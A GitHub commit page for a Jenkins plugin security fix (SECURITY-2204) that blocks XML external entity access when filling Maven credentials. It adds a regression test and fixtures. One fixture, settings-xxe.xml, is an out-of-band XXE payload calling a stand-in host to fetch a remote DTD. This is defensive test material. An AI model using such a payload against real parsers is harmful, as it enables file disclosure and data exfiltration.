Skip to content

Commit

Permalink
SECURITY-2204
Browse files Browse the repository at this point in the history 
(cherry picked from commit 5f845bc)
  • Loading branch information
@MRamonLeon
MRamonLeon committed Apr 15, 2021
1 parent aa6a984 commit 3fc07e6
Show file tree
Hide file tree
Showing 4 changed files with 323 additions and 1 deletion.
9 changes: 8 additions & 1 deletion src/main/java/org/jenkinsci/plugins/configfiles/maven/security/CredentialsHelper.java
View file
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@
import java.util.logging.Level;
import java.util.logging.Logger;

import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.transform.OutputKeys;
import javax.xml.transform.Transformer;
Expand Down Expand Up @@ -115,7 +116,13 @@ public static String fillAuthentication(String mavenSettingsContent, final Boole
if (mavenServerId2jenkinsCredential.isEmpty()) {
return mavenSettingsContent;
}
Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new StringReader(content)));

// TODO: switch to XMLUtils.parse(Reader) when the baseline > 2.179 or XMLUtils.parse(InputSteam) > 2.265
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
//documentBuilderFactory.isValidating() is false by default, so these attributes won't avoid to parse an usual maven settings.
documentBuilderFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
documentBuilderFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
Document doc = documentBuilderFactory.newDocumentBuilder().parse(new InputSource(new StringReader(content)));

Map<String, Node> removedMavenServers = Collections.emptyMap();

Expand Down
74 changes: 74 additions & 0 deletions src/test/java/org/jenkinsci/plugins/configfiles/sec/Security2204Test.java
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
package org.jenkinsci.plugins.configfiles.sec;

import com.cloudbees.plugins.credentials.CredentialsScope;
import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials;
import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl;
import hudson.FilePath;
import org.apache.commons.io.IOUtils;
import org.hamcrest.core.StringContains;
import org.jenkinsci.plugins.configfiles.maven.security.CredentialsHelper;
import org.junit.Rule;
import org.junit.Test;
import org.jvnet.hudson.test.Issue;
import org.jvnet.hudson.test.JenkinsRule;
import org.xml.sax.SAXParseException;

import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import static com.ibm.icu.impl.Assert.fail;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;

public class Security2204Test {
@Rule
public JenkinsRule rr = new JenkinsRule();

private static final String NEW_PASSWORD = "PASSWORD-REPLACED";

/**
* If we use an xml with an external entity, the parser fails to read it.
* @throws Exception if an error happens while reading the xml or parsing it and it's not the expected one.
*/
@Test
@Issue("SECURITY-2204")
public void xxeOnMavenXMLDetected() throws Exception {
try {
tryToReplaceAuthOnXml("settings-xxe.xml");
} catch (SAXParseException e) {
assertThat(e.getMessage(), containsString("access is not allowed due to restriction set by the accessExternalDTD property"));
return;
// The console also prints the message out:
// [Fatal Error] :5:13: External Entity: Failed to read external document 'oob.xml', because 'http' access is not allowed due to restriction set by the accessExternalDTD property.
}
fail("The fillAuthentication should have detected the XXE but it's not the case");
}

/**
* An usual maven settings.xml is correctly parsed because the parser doesn't have activated the validation by
* default, so no need to go to the declared dtd or schema urls.
* @throws Exception if an error happens while reading or parsing the xml.
*/
@Test
@Issue("SECURITY-2204")
public void mavenSettingsAuthFilled() throws Exception {
String settings = "settings.xml";
String settingsReplaced = tryToReplaceAuthOnXml(settings);
assertThat(settingsReplaced, not(StringContains.containsString("whatever-password-because-its-replaced")));
assertThat(settingsReplaced, StringContains.containsString(NEW_PASSWORD));
}

private String tryToReplaceAuthOnXml(String file) throws Exception {
String mavenSettingsContent = IOUtils.toString(this.getClass().getResource(file), StandardCharsets.UTF_8);
Map<String, StandardUsernameCredentials> credentials = new HashMap<String, StandardUsernameCredentials>();

StandardUsernameCredentials usernameCredentials = new UsernamePasswordCredentialsImpl(CredentialsScope.GLOBAL, "credentialId", "user", "credential description", NEW_PASSWORD);
credentials.put("credential", usernameCredentials);
List<String> tempFiles = new ArrayList<>();
return CredentialsHelper.fillAuthentication(mavenSettingsContent, true, credentials, new FilePath(rr.jenkins.root), tempFiles);
}
}
8 changes: 8 additions & 0 deletions src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings-xxe.xml
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://host.docker.internal:9000/oob.xml">
%sp;
%param1;
]>
<r>&oob;</r>
233 changes: 233 additions & 0 deletions src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings.xml
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,233 @@
<?xml version="1.0" encoding="UTF-8"?>

<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-->

<!--
| This is the configuration file for Maven. It can be specified at two levels:
|
| 1. User Level. This settings.xml file provides configuration for a single user,
| and is normally provided in ${user.home}/.m2/settings.xml.
|
| NOTE: This location can be overridden with the CLI option:
|
| -s /path/to/user/settings.xml
|
| 2. Global Level. This settings.xml file provides configuration for all Maven
| users on a machine (assuming they're all using the same Maven
| installation). It's normally provided in
| ${maven.home}/conf/settings.xml.
|
| NOTE: This location can be overridden with the CLI option:
|
| -gs /path/to/global/settings.xml
|
| The sections in this sample file are intended to give you a running start at
| getting the most out of your Maven installation. Where appropriate, the default
| values (values used when the setting is not specified) are provided.
|
|-->
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
<!-- localRepository
| The path to the local repository maven will use to store artifacts.
|
| Default: ~/.m2/repository
<localRepository>/path/to/local/repo</localRepository>
-->

<!-- interactiveMode
| This will determine whether maven prompts you when it needs input. If set to false,
| maven will use a sensible default value, perhaps based on some other setting, for
| the parameter in question.
|
| Default: true
<interactiveMode>true</interactiveMode>
-->

<!-- offline
| Determines whether maven should attempt to connect to the network when executing a build.
| This will have an effect on artifact downloads, artifact deployment, and others.
|
| Default: false
<offline>false</offline>
-->

<!-- pluginGroups
| This is a list of additional group identifiers that will be searched when resolving plugins by their prefix, i.e.
| when invoking a command line like "mvn prefix:goal". Maven will automatically add the group identifiers
| "org.apache.maven.plugins" and "org.codehaus.mojo" if these are not already contained in the list.
|-->
<pluginGroups>
<!-- pluginGroup
| Specifies a further group identifier to use for plugin lookup.
<pluginGroup>com.your.plugins</pluginGroup>
-->
</pluginGroups>

<!-- servers
| This is a list of authentication profiles, keyed by the server-id used within the system.
| Authentication profiles can be used whenever maven must make a connection to a remote server.
|-->
<servers>
<!-- server
| Specifies the authentication information to use when connecting to a particular server, identified by
| a unique name within the system (referred to by the 'id' attribute below).
|
| NOTE: You should either specify username/password OR privateKey/passphrase, since these pairings are
| used together.
| -->
<server>
<id>serverId</id>
<username>whatever-username-because-its-replaced</username>
<password>whatever-password-because-its-replaced</password>
</server>
<!-- Another sample, using keys to authenticate.
<server>
<id>siteServer</id>
<privateKey>/path/to/private/key</privateKey>
<passphrase>optional; leave empty if not used.</passphrase>
</server>
-->
</servers>

<!-- mirrors
| This is a list of mirrors to be used in downloading artifacts from remote repositories.
|
| It works like this: a POM may declare a repository to use in resolving certain artifacts.
| However, this repository may have problems with heavy traffic at times, so people have mirrored
| it to several places.
|
| That repository definition will have a unique id, so we can create a mirror reference for that
| repository, to be used as an alternate download site. The mirror site will be the preferred
| server for that repository.
|-->
<mirrors>
<!-- mirror
| Specifies a repository mirror site to use instead of a given repository. The repository that
| this mirror serves has an ID that matches the mirrorOf element of this mirror. IDs are used
| for inheritance and direct lookup purposes, and must be unique across the set of mirrors.
|
<mirror>
<id>mirrorId</id>
<mirrorOf>repositoryId</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://my.repository.com/repo/path</url>
</mirror>
-->
</mirrors>

<!-- profiles
| This is a list of profiles which can be activated in a variety of ways, and which can modify
| the build process. Profiles provided in the settings.xml are intended to provide local machine-
| specific paths and repository locations which allow the build to work in the local environment.
|
| For example, if you have an integration testing plugin - like cactus - that needs to know where
| your Tomcat instance is installed, you can provide a variable here such that the variable is
| dereferenced during the build process to configure the cactus plugin.
|
| As noted above, profiles can be activated in a variety of ways. One way - the activeProfiles
| section of this document (settings.xml) - will be discussed later. Another way essentially
| relies on the detection of a system property, either matching a particular value for the property,
| or merely testing its existence. Profiles can also be activated by JDK version prefix, where a
| value of '1.4' might activate a profile when the build is executed on a JDK version of '1.4.2_07'.
| Finally, the list of active profiles can be specified directly from the command line.
|
| NOTE: For profiles defined in the settings.xml, you are restricted to specifying only artifact
| repositories, plugin repositories, and free-form properties to be used as configuration
| variables for plugins in the POM.
|
|-->
<profiles>
<!-- profile
| Specifies a set of introductions to the build process, to be activated using one or more of the
| mechanisms described above. For inheritance purposes, and to activate profiles via <activatedProfiles/>
| or the command line, profiles have to have an ID that is unique.
|
| An encouraged best practice for profile identification is to use a consistent naming convention
| for profiles, such as 'env-dev', 'env-test', 'env-production', 'user-jdcasey', 'user-brett', etc.
| This will make it more intuitive to understand what the set of introduced profiles is attempting
| to accomplish, particularly when you only have a list of profile id's for debug.
|
| This profile example uses the JDK version to trigger activation, and provides a JDK-specific repo.
<profile>
<id>jdk-1.4</id>
<activation>
<jdk>1.4</jdk>
</activation>
<repositories>
<repository>
<id>jdk14</id>
<name>Repository for JDK 1.4 builds</name>
<url>http://www.myhost.com/maven/jdk14</url>
<layout>default</layout>
<snapshotPolicy>always</snapshotPolicy>
</repository>
</repositories>
</profile>
-->

<!--
| Here is another profile, activated by the system property 'target-env' with a value of 'dev',
| which provides a specific path to the Tomcat instance. To use this, your plugin configuration
| might hypothetically look like:
|
| ...
| <plugin>
| <groupId>org.myco.myplugins</groupId>
| <artifactId>myplugin</artifactId>
|
| <configuration>
| <tomcatLocation>${tomcatPath}</tomcatLocation>
| </configuration>
| </plugin>
| ...
|
| NOTE: If you just wanted to inject this configuration whenever someone set 'target-env' to
| anything, you could just leave off the <value/> inside the activation-property.
|
<profile>
<id>env-dev</id>
<activation>
<property>
<name>target-env</name>
<value>dev</value>
</property>
</activation>
<properties>
<tomcatPath>/path/to/tomcat/instance</tomcatPath>
</properties>
</profile>
-->
</profiles>

<!-- activeProfiles
| List of profiles that are active for all builds.
|
<activeProfiles>
<activeProfile>alwaysActiveProfile</activeProfile>
<activeProfile>anotherAlwaysActiveProfile</activeProfile>
</activeProfiles>
-->
</settings>

0 comments on commit 3fc07e6

Please sign in to comment.